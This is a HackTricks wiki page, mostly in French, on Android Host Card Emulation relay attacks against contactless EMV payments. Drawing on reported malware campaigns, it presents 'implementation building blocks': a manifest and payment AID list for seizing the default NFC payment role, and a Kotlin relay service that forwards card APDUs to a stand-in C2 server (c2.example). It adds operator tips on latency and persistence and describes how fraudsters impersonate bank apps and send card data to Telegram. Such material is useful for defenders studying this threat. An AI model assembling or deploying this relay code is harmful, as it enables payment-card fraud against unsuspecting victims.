Android HCE NFC/EMV Relay Attacks
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Overview
L'abus d'Android Host Card Emulation (HCE) permet à une application malveillante, définie comme service de paiement NFC par défaut, de relayer des transactions EMV sans contact en temps réel. Le terminal POS communique en ISO 14443-4/EMV avec le téléphone ; le HostApduService de l'application reçoit des APDUs et les transmet via un C2 bidirectionnel (souvent WebSocket) vers un backend qui génère les réponses, lesquelles sont renvoyées au POS. Cela permet l'émulation de carte en direct sans données de carte stockées localement. Des campagnes observées à grande échelle se rebrandent en applications bancaires/gouvernementales, incitent à devenir l'application de paiement par défaut et exfiltrent automatiquement les données de l'appareil/de la carte vers des bots/channels Telegram.
Caractéristiques clés
- Composants Android : HostApduService + default NFC payment handler (category "payment")
- Transport/C2 : WebSocket pour le relais d'APDU ; Telegram bot API pour exfil/ops
- Flux opérateur : commandes structurées (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
- Rôles : scanner (lecture des données EMV) vs tapper (HCE/relay) builds
Minimal implementation building blocks
Manifest (become default payment HCE service)
<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>
<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>
Exemple de liste AID pour la catégorie de paiement EMV (seules les applications définies comme paiement par défaut peuvent répondre à ces AID) :
<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/> <!-- AmEx -->
</aid-group>
</host-apdu-service>
Inviter l'utilisateur à définir l'application de paiement par défaut (ouvre les paramètres de l'OS) :
val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)
Squelette de HostApduService relay
class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null
override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}
override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}
override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}
private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}
Note pratique : le service en arrière-plan doit répondre dans le délai d'attente imparti du POS (~quelques centaines de ms) par APDU ; maintenir un socket à faible latence et une pre-auth avec le C2. Persister après la mort du processus en utilisant un foreground service si nécessaire.
Ensemble typique de commandes C2 (observé)
login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error
EMV contactless exchange (primer)
Le POS contrôle le flux ; l'app HCE se contente de relayer les APDUs :
- SELECT PPSE (2PAY.SYS.DDF01)
- 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
- SELECT application AID (e.g., VISA A0000000031010)
- 00 A4 04 00 len
00 - GET PROCESSING OPTIONS (GPO)
- 80 A8 00 00 Lc
00 - READ RECORD(S) per AFL
- 00 B2 <SFI/record> 0C 00
- GENERATE AC (ARQC/TC)
- 80 AE 80 00 Lc
00
Lors d'un relais, le backend génère des FCI/FCP, AFL, enregistrements et un cryptogramme valides ; le téléphone se contente de transférer les octets.
Flux de travail des opérateurs observés sur le terrain
- Deception + install: l'app se fait passer pour un portail bancaire/gouvernemental, affiche un WebView plein écran et demande immédiatement à devenir l'application de paiement NFC par défaut.
- Event-triggered activation: un contact NFC réveille HostApduService ; le relais commence.
- Scanner/Tapper roles: une build lit les données EMV d'une carte victime (PAN, exp, tracks, device/EMV fields) et exfiltre ; une autre build (ou le même appareil plus tard) réalise le relais HCE vers un POS.
- Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).
Références
- Zimperium – Tap-and-Steal: The Rise of NFC Relay Malware on Mobile Devices
- Android HostApduService
- Android HCE and Card Emulation docs
- Zimperium IOCs – 2025-10-NFCStealer
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks